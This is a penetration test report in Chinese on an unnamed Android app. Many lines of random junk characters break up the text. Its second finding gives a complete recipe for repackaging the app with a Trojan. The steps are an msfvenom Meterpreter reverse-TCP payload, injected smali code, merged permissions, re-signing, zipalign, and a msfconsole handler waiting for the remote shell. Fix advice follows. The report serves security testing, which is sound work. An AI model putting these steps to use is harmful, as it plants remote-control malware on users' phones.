! z1 P; A: J7 i7 L2 q# j) M
. P5 }2 ~: {) J
* Y! {! p) ~* [+ v6 N- j5 T' e + W+ a% N8 ^7 Y
) n6 Z9 H) R9 X- M3 w: _
; u% x8 [4 M4 J$ k
# ~8 V2 F" w# \: O
" }0 f7 a- g% N+ C. W# _6 }
+ A# I+ t6 W: O' l, @* `8 F
8 C! r# K2 W, L/ M1 V1 v) z( N* N8 w( S: v0 S: ]
表1-2 测试结果 4 Z$ s# q; m9 u
) @/ D3 c2 a J& [6 d/ r- U
1 z+ O) e- s9 E4 O( {! { w: v
( w/ n0 a5 O* e p ; ~' R+ r, ~) Q3 G: L$ e7 d
( K( v% Y: y+ [( m) F4 b : k3 c* l) s7 v1 s
, @. U8 A9 {: I6 h# a7 y
K' x5 j9 T" D9 }' A
1 x; G B# \1 I1 \1 u& r
- `/ Y5 M7 W# Z S1 @) m
, p& `3 C! d1 ]1 x1 ] 2 检测结果 . O" U, Z8 ^/ p
/ [1 R9 z, `9 f2 s
; A3 n, y1 @+ {1 \, e
$ k) ^" V6 B& z; g* F - P# ]& l+ u" G2 a' O l
$ H! K# z6 T# L% I+ |" R 2.1 某某某
& X+ d0 W8 O& \$ x/ K, T* t3 h/ y: [% Z9 \% ^
/ }0 E8 M) O' L( X5 W1 U( D
, j: ?. B$ Z/ a) U: }1 ~- O 2 R/ c9 m* D. H: v& F% C( l
+ l/ K; g& i: ]" e
2.1.1检测目标
& N! d0 l3 T( Z& }8 Y6 A
4 W/ G2 E6 |! L
) Q0 A8 j# E! ^& r9 {* F1 d' {, k" z g
7 T; {) y9 k/ p# ?0 i+ v& N# D O/ l
" r: y8 @. G" D& t
目标地址: 某某某某某某APP
# L3 V! U4 D6 `
7 a& f4 b' J9 v7 X: y
, q- ~( N: b6 N( Z E; w2 \9 M0 d" r* z
& P; t7 ^" D% w) ?! ^1 M
7 }; L0 o. |. P1 ] 2.1.2检测结果
9 y) L$ X0 E- u8 s
2 g* ~4 E1 I( |6 z" ~! J) T6 @
6 G* f8 q6 R2 t5 B& C! t1 l+ F# B1 |
7 ~, k+ ~+ p3 q' l U
}) V3 y w/ u
6 t- B/ L7 ^( } ^! d 2.1.2.1 ( T4 T) z/ G4 z( Q) u
$ ^, V+ W7 h. s4 \
( l' F; `, t8 z" b; Y6 l: v
' A/ \9 i1 Q6 |" B
$ }( I" B( `. c8 b* Z3 ]( i
C& T% s+ `: Q8 e5 H$ r$ b
漏洞链接地址:某某某某某某APP
( ?6 u% D- {$ i5 g' Q
4 a& g; i8 |0 e
; G1 C( A2 l" w, m% J8 c+ c
+ v1 f' f* f3 a: x. ?! [) J; @
, E4 S/ |5 H [7 e3 N# X ]; ]( i5 N
3 @" ]/ g; S E( ]( l6 T
4 C* v6 ]6 j# q1 w1 W
& n5 _/ C1 h- _
s5 D7 g; \2 K( b
& L4 S& c1 ?3 S P0 e/ n
* u. D( p6 r4 p" P 漏洞分析及取证: " W. {) j# F+ {( X& S
8 a5 b1 }$ N" y: T9 A
8 [5 @: {7 k5 N! ?- D1 `. d5 c; A3 [( A% b j1 U9 B
( O: W q K2 b( f9 l
, W9 ]1 v; l0 M2 l 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 2 X5 h$ J+ ^; h% |5 d8 {
6 b- x) X1 k1 v4 Y- u
* O0 P# @" d# H3 i9 O
" g& y, q7 G# X
; V. v3 Y+ }- N- x
2 P; f" z' t( y# u9 K" |+ ]
7 ^. Z3 d* d+ x3 E1 D
% B; y# H* Z6 g+ B1 ^4 e
2 O4 g& o! t6 U% m. K7 m) L& \' S+ z
5 j8 ?. q- s1 f" X0 Y
Y7 I8 E* I- f4 e" Z9 Z
4 b7 \ S7 p8 o9 _! s4 w
- L6 X) Z' @( ~% U1 E5 p6 P3 e* I. W
! H- G9 p n$ z% j8 D
$ t; ^4 _( D* f. |) h. x 8 p9 o- Y) Y0 V3 r" F P) J# Z
2 [$ R e5 t: o% I, S. N0 B
s; c, {; r! ^! D- T
8 o) x0 |' \0 e- f7 {; s
- U/ M" z! ~4 S
6 |+ l; p s( d* A! X% ? a
- w6 B3 h5 h6 }8 O
9 u8 h L5 c. _3 L# [5 r6 w, p9 k
* `+ K$ J% [. B- a d1 O
: T. q7 S( y& F+ p
/ V. S {4 I; ?3 l6 b* P$ o
+ G- n( r; X4 N9 C9 D ! H. H6 C# h9 S" @0 \$ k
2 y/ k3 C2 d6 o+ }! q
4 e' }$ d$ O- U% M- j$ H. _
; X6 e% Y5 P1 {# F @( {& q
/ I3 }8 A& V7 p
2 x1 i: m, F0 J+ ]
8 `2 G3 X5 q1 n* O! \ v' I; k& J
% r$ Y; \2 z ^5 Q$ T& r 漏洞危害:高
" C$ A+ u( E; d0 q! K- z- S0 p" q- D. r7 w
+ q/ e. b/ ^) e, j
5 V- G! o7 S. {0 G+ k $ A6 |2 ]2 x* w+ H$ T% C
, q7 o- k/ E/ m: ~5 h# B3 n
7 C5 s2 g" L d+ l5 v$ c0 n$ D
$ D. m+ x9 p$ W5 z3 v; T4 w! _' p
+ ~7 f8 W- p) } n6 y. e. d& h; k* c
" J: Q2 @ o5 ^+ e5 B& C! S( a: Z& z6 |/ c0 X9 P
| 0 z4 f" p7 `' S4 c0 I+ ]
2 Y/ G: c8 e# O
& z4 M$ @1 N; U3 M
0 q' ]$ Q# \, X# w7 G# e 严重程度 6 ~% I/ J5 Q. C/ M. E0 g! a
2 Z7 f5 I9 Q- p! F' B4 I7 i- O
1 f5 E5 y' Q1 c; z# ~# u$ V* \6 J3 \: d
|
9 ^6 {# i0 ~. c q# u
) U5 G/ a9 G8 S: b( ?6 A ! o0 m, { M( b6 I: z% Z- ]
6 G" f, T$ f) y6 p
# j6 R; e6 C; }/ p. o/ e
4 D7 n# f h: |4 T 高 ( o7 e3 w+ X E. ^ e5 V7 }
- C9 R. t; e& ^& n' s/ p; @+ i# z
: I4 T. u# y- f# v" e2 q2 x( O& J2 x1 J$ R& {: l& ]+ T' y6 `, Z
|
( i$ ^) y! b' _8 a2 G/ a
9 ^7 G+ y6 l) Q . _3 K1 l) O6 o- Z2 \" w' z4 l* k
9 g3 g4 l3 u" p# O: N: P9 l, _ 7 C- _- F* M: W' i0 g& Q8 O
* Z5 O. S3 p- Q8 o P$ ^- | ■ ) b, c, r7 m* y) c" h$ ^& R
6 U9 {% B! ^; H9 d6 V0 X- T6 q Y
! \: k$ x& P# |% h7 {+ ` X Z7 L! I. j
|
1 v$ q8 i/ m# g/ z% w, t1 i# ?3 [7 H. O2 F( E d8 G5 X
% ?8 r7 E! y% Q8 @& Z
" U" J. X3 l/ P/ g& X
2 p8 s9 g) U5 q% I$ J1 \
2 p8 v4 v0 r6 h/ Q+ J; O9 E 中
, j: n+ C N6 }' `3 Z
& t3 W) G& Q$ [7 W1 P5 K8 L
! y7 q J# |2 a1 O: M7 V4 y# B2 f* u' ~ z
|
8 t% i! O4 E/ @# @. x2 f
) u# {2 d+ Q; R# K ' U- ~5 L* M1 d. ]
' x5 g; z: k3 M* g; @
6 ^( ]3 e, a) z9 z f8 G7 x! Y
$ s/ g, l0 X: [
9 C- \' |( O# W" b Z+ _
$ l! J' M3 _9 x& h1 |+ u9 F
9 k+ v/ a1 T# r( p" f
4 j8 h, S0 c' j! L; k' O9 [1 M | 0 z( N0 _4 r/ M" n
8 T/ m$ L8 x/ F. o& X$ G
3 @& r' M) I/ }5 O8 M# X+ ? w! u' l, X9 ~
7 h: J3 U) g+ \; ~/ \+ \5 ~' M# L. @
" R# B3 w' ?3 E6 f6 A 低
# A X6 x9 ]' E1 I7 W9 X. @$ o o2 W& ~% z0 E
/ i* t" l4 e% V! A. B* M. [
# O& _1 U% Y: m1 m" x
|
" j7 G1 T" J$ H9 n- `, |5 n6 I
7 l$ d$ w. v' n( S8 A
v: g2 S" O4 |1 l6 Z+ w
- M2 ^: W& \; [# D9 m$ g
& h9 O% i1 S6 C1 S
5 S3 `+ ^7 X7 l5 c- _* p' o! H! w4 b9 r- t# I8 F T$ e% P/ W
9 `2 ^( [. E5 [9 C$ H0 s9 m+ r% y# ]. ]9 L+ C {
| 1 _' d; T: T5 x; }+ ?
( {% r& t b! P+ m& h
* V6 ^! C' j0 C( J3 I2 B1 Q
9 w& Y- D4 u) Z7 @, B3 E* X/ L
1 O: M' H2 c6 b: B1 W3 r% g- \; x
, V4 Q1 ^, p3 _: a& m; x; ]
) d' l$ l) N, @5 G
1 a. m. S. V5 ]1 ~
; P7 q% t& J( ~ S! u/ l
% R+ D# n- w; u) u5 O7 r2 ?! c
% d U( U. o2 V5 H; W! U m/ R( r& a* @% K
1 t; h; |3 j% k# A
* k0 j: Z" m2 [% ?& S5 H2 [
' i8 i9 Y% ?6 }7 q3 a
7 v( a6 w' [( r z9 l: ~2 j8 l2 ? w
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 8 T% z2 G" X% V& X' K$ w
7 [' K+ ^$ G1 j1 u- w2 M
& Y! J" l( R s- e) F4 W
' P% m4 I% S% j0 c2 {% v* F * y2 a. L" d. ], n& x
( I' v+ n' M3 |- m6 X . R) }1 n6 g$ Z/ n- }8 [
! B% F: l! m4 T3 X! J. ?
7 a( Y8 D/ Z6 S5 W
. X( ~2 ^ L& H4 v( j/ ~" ~ ' w1 g- w; j5 e. ?1 \
3 n( S4 m+ }+ T% ~% A
1 @$ W* X& [7 g' G9 B Z6 }- F' p2 {. v" R( d5 j8 C. F% t7 [
! H; _7 H1 X) L1 p1 u+ b/ ~4 e( I
! x2 I2 G8 ?; m$ H( j
4 @, E0 q, C7 L+ H) O5 B4 V
+ I8 i% K ~/ C* w& | 2.1.2.2
6 [! c7 J' G$ n( V; s8 j' _% g% m+ I' E1 L
$ @) n8 S* i7 }
' m$ M# D, l4 u+ V- [8 j/ U) ~8 z
, Q2 @; |8 L3 C' E
7 j8 b- n8 M8 P+ y' p8 @6 ~- `' B& [ 漏洞链接地址:某某某某某某APP $ m, C* n8 [+ H# L) } }
$ k' q2 ~" b" m
9 y' P) j4 J: x0 e, D
& O; }8 H5 T4 B1 K
2 H: ?* @! w7 ]5 W* s1 K( A
! j" K% K2 }6 K" ]
漏洞分析及取证: * k5 M# c6 [- V5 G2 `
6 P1 Q+ Y) p* S# C
. @4 _' k5 ~/ \: J: z
+ a& |) X7 @- i' C2 Y$ q; i' A
9 c( d# n) p+ n/ j r- o+ ^8 f6 J. C! a
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
r# j8 ?& N, j. L, Y7 I4 W* G- R4 C c3 j5 o% \( l
i# w, l' q; j! q% ?; r% j& C6 z& ]
, K3 n2 R+ m: N3 l% `: I2 I
' v p& B% o* `8 o# w1 a, V0 e. r& E' P
( |" f6 e. E. P, n" O 用Metasploit 生成木马 apk ! Y2 e9 R% G" R: ], D) @
4 q! B1 u' f# S3 ~# U
0 p U3 X G8 l+ ^% L( Y! q- ~. V- Q1 t+ Q6 z! u! X- b0 z+ `
9 e) z' j# F( h' L
0 H) R0 S, V$ ]9 v( h/ o# C msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk + Z! V4 H+ a1 a. K. t
/ Q% b) A; f& r" F
2 n" W$ f& L( A) l* ^! U3 y
+ Y* b" ]' f! l$ O' v9 Q" w, g6 X
# B7 d; [, p" k; {
# X% ^* `/ |$ g 反编译目标apk和木马apk 0 E2 {6 |/ _" D/ P* w; P
' @3 l& q0 g+ [* P q) E
' Q9 m7 O& {; F( Z4 Y- c- h0 ]) Q
2 t1 I+ @, ^/ @- y # |7 |8 j3 R! |; w
r( `, B' T, m' O% A+ L" F3 m8 j apktool d target.apk
: F4 @ b4 s1 J- b- s; E3 J; w5 }1 J
apktool d cockhorse.apk
_, ?' D4 M7 O/ z* G) v% w
4 x# M: L5 O, r9 @/ C
* z5 j' M; i0 |% c* E$ |4 `
/ m4 J5 \! Z- O" R" _7 q
+ ?* u9 n4 f! D8 Q3 z/ a
6 u! D7 n+ y& A' u9 `. H+ P 木马 apk 注入目标 apk
2 h3 T. F" f3 A' v' Q- P# \( ~2 f+ e) C" X% i4 L; d
) C& L8 t0 k- j
. X7 ~) a. R- O9 D; y& Z - K% D+ Y3 O" N3 y+ P5 }! E, b( @
$ _% E% l2 p' z! P 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
3 y8 R, v d8 j0 r# C5 Y+ v; t9 M. V* \. L% L# I% S9 @
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 9 K0 W1 A5 N# ~4 M
$ [. k* m/ D; q# r7 e7 S `
7 j3 ]7 S D: F6 B* F5 r+ H# g- ]6 z
1 j8 D W' c: T6 k; Q
9 C+ x0 R% A7 ~2 Y; \: e( r
% R6 }# L5 q( P7 ? 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 $ v$ X5 w% \/ e" X) G: Z
/ `4 e# [' Z% X1 X$ k9 k9 O9 \0 l
; h- N* g, ~3 l2 W6 j! ] E
2 g8 u) Y u( |. s8 u
3 O1 |; C0 G0 B& J/ q: h" T' C' _. k
" M0 |% w+ ?2 |) j' E 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
2 t) v" O1 }% f3 X m$ F/ M
+ A0 j# R& N: q6 g
) A& I1 x8 V' N; b$ L3 `* M% C
+ e' M) j+ X' w6 V
|: W' K) J) m8 b' S& {
* |" n t, r& [' t8 z& C: `
回编译生成最终 apk
* b) M0 j: W. S/ j- `
0 f, n; O2 d& A4 a' ]* W
0 C; [6 E$ K' o2 {3 A& K' }4 j6 `1 q' y4 e
% p2 [, `' l, v# S7 c) g! x
& z* Q1 W4 `8 L- _
重新打包
( ~: e: \7 l( b7 z& F7 v
5 [' B3 B6 x" @6 u2 x# N& y9 [
9 E; R/ U6 p, `$ X7 A7 s* y n; M5 j" a* ?. l
+ E+ K8 B: p/ E; U# Y* {9 M+ I3 m% H0 c
apktool b -o repackage.apk target_app_floder 9 H) h; ]9 E0 c" M% k" q( y: S4 r
9 {; Z# d3 t* o7 T( {- g
7 v$ s8 J% }+ g# g
6 W# w g: V3 ]: q. g# c, b0 F
j, v! ` o3 @: \
6 x1 o, f+ W5 S$ P' Z+ @ 创建签名文件,有的话可忽略此步骤
6 k0 n: |5 h V9 O9 R% ]4 ^- h& c# U) G, i7 Y0 `
$ j% ~9 | b; w% ?7 g, f7 L+ U" L
5 o; |& _" y. A5 L# B
- q3 p2 r3 j# Z+ O keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
% H5 n- c' c$ N1 L" C
; v0 w+ `) U8 w$ y" p. T; |& p8 J
, v8 D, T7 N, }. }* E& g' d& Y
6 S% A% |% s2 a1 s) N' m
! t3 ~2 b" N1 X4 T7 c, \& `2 v" J: V" r3 B
签名,以下任选其一 6 b; L' }3 U+ r! \ g; v3 | R
8 Y( I* w( ?) p% z5 r
* ~+ |$ R+ m" d0 ]# t7 U# c: G8 P9 ]+ U) {/ y
" e9 j& V" Y. F
3 I$ f0 K& j4 a jarsigner 方式 : S5 A$ N! H- L8 ~7 y s( u
0 C; S# Y4 s% V2 O/ B' ^
0 x- {) M: B! q( G0 E
! j/ O2 ?2 c- d! ?' k0 x
7 Z8 r6 p$ K! f4 P7 Q% O
9 S3 M: o) a% Z3 q+ t$ C jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 0 p4 i4 x$ \1 c* H T9 ?
: K, N6 d% v% M9 K6 O8 I3 M! Y7 J
( g5 l! g* } H% [
' N4 h2 w- o3 Q+ X- d$ u / N/ u8 s' {: a
. x- \0 R5 C1 ]) K9 j% b/ P9 ~ apksigner 方式 ! {. f" u# M* ? j: X$ N
& E" d! b+ j' _! z* h4 Y
& L" ?% j. L- k, R" }5 l
1 k* O8 @+ k2 C" J- C% t* R
: d9 x u: {8 y' q5 B, O# F6 H) e& n$ [$ |
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
: D# ~- A$ W: X: Y8 ^; [- _+ W; k- L2 `8 Y$ m9 v. J/ J5 h
, A/ E" O4 q x: d
3 I. F- b9 H# {- M / H3 g$ x) b) @% ?& S8 ?
9 A; t s; l- [7 l( h' M 如需要禁用 v2签名 添加选项--v2-signing-enabled false 8 V" X( H0 n0 G4 K% i% G1 V
6 @7 {8 Q( W C$ Y* a
3 D% N. L1 l/ T9 o" L, z
* ]. ?. W0 u: w: R" P
+ t( i& i; p7 B% q" \# r# |" K" z
5 S: o; h0 K/ J s( X) Q 验证,以下任选其一 * G6 v3 C+ H p8 B6 K/ ^4 Y
, k5 T1 ]/ a3 E
: }& s- B6 [% J+ ~, q' a' ~
, P" L: Y# p- V' U E7 f% @
+ H( _9 O3 U: U z4 n2 B8 }( x
. H. X& d/ V8 H( \* p jarsigner方式 ( h/ O6 @* I w! E- j
- x: G* W+ c6 v% B- g
3 }1 N4 W2 R( X N, Z: \/ p
- ]# T# l }1 ]: f; j5 X& e 7 O- U! x. H5 d# R
! s6 C) r4 b# ?- Z i5 P jarsigner -verify repackaged.apk
+ b: E9 o: O7 E8 a$ ^4 W, ] F
5 P! ?# c6 p3 B n g
2 {: m1 }3 x# Z7 ~: a/ ?: F9 E- \* A) j
. n- Q$ \: f6 a4 v
% D1 I6 } L9 y* ]9 v) z+ [7 e apksigner 方式 ) F5 T6 g; i4 m, a7 O0 b
( T3 \8 d# v( k" r1 @
+ s$ {5 i9 ?; Z/ |9 J- H _; Y! ~. \' i" @# n: F* {8 X
; F2 c# U: n" U: j! G: T9 ^$ J
' {+ _) z8 u1 ?. @ apksigner verify -v --print-certs repackaged.apk $ @& I1 K" G6 [7 G' i6 u7 o
' q$ q! Y' U! L. k, W% E3 a
' f D$ F/ W% H: @1 N& x
& l5 m1 I( c4 s& V3 b
6 n/ @. R3 O7 _1 H9 }' w Y$ V# G. N$ n5 r
keytool方式 ; Y0 T1 V. g, y; Q( o' I; x( \$ b5 {1 q
+ u% P( i0 V( z0 z, a
, t8 H( C! a: r& {4 R9 b1 }
& N! y0 K s+ s, Y( [ $ @" H8 m0 e7 P8 i$ D) ]& K3 b8 [( V) c" ]
6 l# T5 J. h' y7 w5 |
keytool -printcert -jarfile repackaged.apk 4 p0 p2 V8 Z, T; s9 n
& z1 c# M0 _. a% k; |
& m4 }) R# [- O. z+ T
' o1 {7 ~/ C* ]0 `
. D7 e; M! T9 [ f
/ A' x! }# w: x$ y4 { 对齐 0 C5 C D' K1 K- p/ P* d. v4 g
1 H; O9 V. q1 N2 q
7 R$ j8 j6 W0 ~/ G+ @; P) X ]& v3 u$ V1 Y" n
7 r- E0 d: Y/ v' }) U" S: m8 q
/ n/ `5 R3 M- t/ N; Z/ B; | 字节对齐优化
: b3 @' s5 `# o. U$ c4 b" g9 }5 Q- s; z8 z7 s9 U, |
6 t; ~5 x: K. s$ U }* v# E- A+ ~7 V# n) _" G5 r8 t
. E/ O2 G! e. R$ W0 W8 Q! r% y7 a9 }" n/ T
zipalign -v 4 repackaged.apk final.apk
6 K% _, Y+ J1 O* F) s( \
. ]) |9 T7 |" k! y
1 r+ E7 f+ H- I7 k& O
0 F. v! P7 t0 X: ^: r: c5 ^ - v4 K' e0 Y1 x8 T1 h$ G
8 \* T6 w+ F9 j/ y 检查是否对齐
6 z5 ~# E( c* S r
& c ~, Z! x1 e; l: Y6 b
) [, U8 K1 m, e6 i
9 V1 k8 X/ m7 D! Z/ {+ E5 O2 f
. Y2 f/ W, l( A) ^
! I" B# V. ^2 A' E5 w- R$ R, q, N zipalign -c -v 4 final.apk
$ h& O5 _' I( K* z6 }
8 `* Z' ?) M$ O% Z2 r
( t! q7 [7 T V: }( e/ z% L9 p
, f: H; \0 m5 ?% f& b+ S# Y7 k# t
. t. Q$ q/ Q* k! t6 A/ d2 |9 q# R1 u: O" t' X2 }- t/ b* `5 {
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
+ g( W5 {' K6 S: e$ _! W2 ~) ^( o" {+ D6 q6 R3 v
( ^* B( Q& c3 v: n' ]" [
O& d" W. y& i
5 @8 L7 S- L+ Q+ M5 ?4 N! m
: l2 r% ~ N; _! \7 [ 启动Metasploit控制台,配置参数等待上线 & A$ d! c7 u8 j- ~. |5 Q
9 f& _0 h+ A3 d1 E- c( b0 v
, v- E! U8 L( z# v- @& I# I* s( l9 X3 D* O7 n' B2 m& o$ _
6 S. v1 q: e* e0 j( b
A9 M9 i/ t9 I2 R5 s- H 在终端依次输入如下命令 ; b8 V; |6 E3 e# S+ A! r: X8 g
9 v8 s% S2 Y# q- W
5 |- W* M3 Y! B- g: e
# g) p/ y/ [! Y; A6 G: P- w
" m6 h" F3 o5 k/ k/ }# x, {3 A9 O
( D0 Y9 K! J+ j msfconsole
# y) i" z T: q4 o) T: |5 ~* M- ^+ r5 Q4 i
; _6 A5 j2 t% T0 [3 d1 P, t# W
. u" u( D& L9 l1 I+ R- }5 X6 R ' k# F' }" ?4 s- m, ?" C, ~
- c$ S& T! g. a) p/ d# }8 A# ? use exploit/multi/handler
@" _& O+ P) E" q" p8 f8 v( [5 i8 c# N2 t' V+ |8 X
( S7 B R7 W e3 T5 G1 m1 W+ k
2 O. O+ M! G' M 1 R$ y3 V, ?4 B, m
5 h8 e& m% E* N3 Y% B5 |2 M3 x set PAYLOAD android/meterpreter/reverse_tcp $ _- u- `( n+ m b2 h9 {/ y
( B' D' ]1 A }: w
( z" u; t% K0 U, q
1 f' S; e- S. D
0 D d9 n5 k& f
O x7 @8 H3 S, R1 L" x( @ s set LHOST 192.xxx.xx.xx
' ?+ @, R5 N6 {( i' C0 j
$ }2 z/ Y/ y& t" f5 B% c
& g- m5 s$ M. f
( W9 L" [: H/ u ; g8 Q* _' h4 Y6 J [ s. d9 b! R
X+ r9 D: R8 @0 R5 I* y9 e; z
set LPORT 4444 6 ]$ N$ k" h0 L+ |
8 j( j+ x8 a' z$ }/ ~
$ p1 ^6 D* w( y/ ^. x k F, q
3 H) k- _/ D3 u; x8 I7 B
1 K: y* m, L8 x3 F! _2 c
+ {/ g* s0 j; z$ k. L# F0 D4 A exploit + V3 c q& @- Z% M! [( [
5 v$ j) x+ j0 x4 C; d
2 X$ M! T$ J3 R3 a6 L! B
$ S3 }, ?7 a3 A, Y
/ _. \% c. \2 Z6 D9 S! v: _
1 j' l3 R2 a0 x$ j6 ^$ F 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
& o3 ?* i& q# @4 P$ @- L A
. g5 m: R; @1 ~' X0 o1 T' `
9 E& \9 f9 m$ `3 V$ G4 F1 k# z- m
5 U; ~- k' Q! }/ J! q
; b% f7 ? c9 z: B 漏洞危害:中 ( K3 ?3 P3 U: s0 _! \6 ~! u
, w/ W8 U) ~" d
# ~ {, [; D& `6 c5 Q8 e* f3 D: i7 d
6 W6 [+ l: D& f# U- j! `5 x
" e/ G5 M( N7 m. k+ k, e% w) b + w9 e: J' O9 q0 A
! r3 N2 |* ^4 e' |# }6 S- r( f
" C3 X7 A' L. m8 h0 A
2 a( P5 ?( T/ `# w6 W; x' L# Z
& w i' n/ V; h' r/ C* J3 S' Q* }
4 p: E% {! g3 w0 W1 `
$ M3 i8 t! g7 d) l1 W0 ]
! F' k3 W. W% o+ L% A |
3 d: ]% G: f9 w
" @0 z5 a+ S7 H; [6 J( o& r 6 O3 }% y! a9 X
: C5 ]( a3 I( j# F& `; I 严重程度 1 P- v; u5 y6 X; t
$ h3 c. f* R, M# K1 F) Q
5 G; J; s1 x: q9 J: z$ F x: e% v% U
| ; m% S9 h# o. J4 y- [ Q( d
9 D- {; H- J% C% `. k. t; {5 S0 p ( H" r F# Y5 t( K1 c' f
$ M1 ?+ ]) i9 F
5 E: ]3 Z; y# I' A# Z; Y
) g! J! q9 ]' M& B 高 3 N' A' q3 y3 b* J: G) M% b$ l% m% ^
# ~! G& d# d% d5 C& O: E9 B
1 k" a/ O& C" p- W9 w0 O2 K; x
7 t% n) q$ z. t5 ]5 ]4 o | $ P. I { N$ C: E
# ?( @' {# g+ U6 z 4 n# _+ E/ s i& q; t( C$ t: J
6 b- X- c: @2 x' Y
, s/ c7 i" V3 [4 G8 F
& ]% _/ [+ E5 o' l- W# h ■
% g0 P. X0 d: f+ O2 y
+ m- z& t6 c0 w2 q9 s
: T o5 o2 C8 y, M2 s8 r0 G) G0 z) f f, s) z, ^" i* W2 K5 A2 O
|
2 D N3 k, N3 ?% [- M% I# q6 c. h" e# Q4 X
1 H1 s4 S+ z* s# [1 |4 U1 T8 L
6 t: R; j- A9 o' K! U0 u5 ~7 y
0 _- E8 t4 v7 Y# `6 a& A
* V/ Z; G' s# n. Q: _( C 中
$ o7 G6 c2 _' |+ h, H4 o* Z& s
/ U/ }0 v# x# t' k9 D2 d
; S" P3 m" l3 R
, Y& Q6 ?) ~. n$ _$ ]/ W, @ | 6 |& E/ b) L' @. D! Z9 Z
; K/ I! ?$ {6 r0 y" h . A; Q1 q' C& m
; ?' N! A8 G$ k$ i: H! X
7 z% p% T9 [( E: d* p
0 d( ?1 y c; `+ L9 H' Q
2 [9 s: |$ @7 _- k
: ~: C* X- b9 k% | a8 v6 P9 }/ c. ~" C8 P
2 z% n% `" e6 T$ T+ O" A' s
9 h9 ~* u: U# L" o; ]( d0 H4 R
5 R$ P* Y1 h! e+ w |
4 ` S6 @, y6 h7 P/ V+ c$ X1 c2 k1 Z5 h# K9 b" x) [
$ z* S/ G A7 K8 X8 d2 k' k; j$ h% Y) Q
- d3 E) X' F. y1 j; o, n2 N4 O/ C% M
- ~% `6 e- M/ Z' M2 G 低
, e! F. {2 R- }5 T* s( f$ ~3 n9 f# f3 c5 |1 E4 I0 A, D8 Y& P
7 l0 O D+ [6 ]
0 k; z; E5 q3 T5 n0 P! V9 o
|
! ^- Z" f" S( Q; v( H6 M
% u# k9 V; ~+ ~0 W ; a$ S9 y) z! W& H0 X) ?
3 [! d; l& s# v J2 l
$ o2 Y* p& e4 ^: D% N* L4 Q) c
! _. w3 i( B% f) R+ u/ ?
+ F: e7 R- T. l* \$ D8 }+ H( B/ G7 Q
o( ~2 T2 d& d g6 ]2 u
! v5 l4 U. ^. i7 Z
) O9 W/ Y: i. }$ ^- o* o
% |9 T3 {) a! |. E% g+ B2 v% D6 T8 o9 Q
| 2 m6 @0 J6 h+ C9 Y
4 @. i0 A% \1 M# _- j% ?7 r
* V' P4 r- T9 s* {, L
6 P% a( f/ M% ^
5 q! o. E5 x9 [1 C5 c( v/ w, b
- w, J" Z6 g+ t5 Z
/ q( x: O7 l; T% ~
3 M% s" B5 k' B. e p1 ~$ A3 H
4 l$ V/ Y' U+ Z3 s% B# M
' i* w9 V& z# c" Y3 K/ w q
+ P" @7 [' o. j2 \: e& p4 p( P* D; N2 n" X, Z! D. Q, r; ^
/ K8 g5 e# a; o9 O; o) ^8 L; z5 ^2 T- t
3 N Z6 t7 b7 l3 q
2 }' _2 n' K0 E0 m% a; [
4 I9 |/ Y9 @1 i' _6 [. u. S
4 C" K$ x9 n, W7 r 修复方法:
# t1 m" j/ h* i
9 p0 D- I- W5 i% U) v" k4 L) L; m
1 R5 e/ v, L$ C: ~
+ @5 A% C& h# l. c o; h- P
! J7 d) u- t7 b7 d! d% q
9 ~3 r& T$ d A, ]( h" _/ Q; b4 p9 C 1.在 APP 启动时应做签名校验防止二次打包。
0 y+ Y! b: s5 ^. C# Q4 e3 i1 Q+ \( N' L) g
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
- j8 x+ ]5 ^9 E' o' E. t5 r# y! Y! h; N( }
; u9 |. H! W" u& B! ~- z- Z; ]3 {
; Y; v" R, x; N& q4 {% P4 D; P Q- @, C- r* T, G: C
" \+ Y' @1 Q/ p
: D7 h7 J+ m; o# A7 _1 S / `# Q" u8 k& W. y/ J0 `: `3 M
, l0 a, b* K- b5 L& u6 S# I$ P
, F. l/ \ v' x" w. j7 c+ \
9 v3 j. X: K2 x# e
p% d3 g# ^- r, K: ]9 ?
9 a8 [% o4 j, y) t4 D: M / Y, K% F* |; J( s Q# I# q7 z
- N% x: P6 d; Q: P4 _1 f9 @
/ t, R& _) b7 `& Z) O
; r9 T! s/ [ V( K
6 D. w1 L5 N7 ^/ \# E: U# e2 J+ q) U3 E: i8 ^6 F4 b